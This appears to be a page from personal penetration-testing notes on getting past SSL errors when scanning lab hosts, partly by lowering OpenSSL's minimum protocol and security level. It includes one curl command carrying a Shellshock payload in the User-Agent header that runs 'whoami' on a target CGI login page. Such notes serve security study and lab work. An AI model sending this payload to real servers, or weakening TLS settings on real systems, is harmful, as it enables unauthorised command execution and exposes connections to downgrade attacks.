> For the complete documentation index, see [llms.txt](https://pentest.mxhx.org/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pentest.mxhx.org/02-scanning/ssl-issues.md).

# SSL Issues

* ssl errors and issues.. might need to change your ssl levels
* change it back after you are finished

```
> sslscan 10.10.10.7
> vim /etc/ssl/openssl.cnf

From: 

[system_default_sect]
MinProtocol = TLSv1.2
CipherString = DEFAULT@SECLEVEL=2

To:

[system_default_sect]
MinProtocol = None
CipherString = DEFAULT
```

## curl

```
curl: (60) SSL certificate problem: EE certificate key too weak
curl -vvv --ciphers DEFAULT@SECLEVEL=1 -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'whoami'" https://10.129.114.238:10000/session_login.cgi
```

## burp

* When scanning for shellshock was too much trouble.. [burp ](/02-scanning/burp.md)did just fine!

##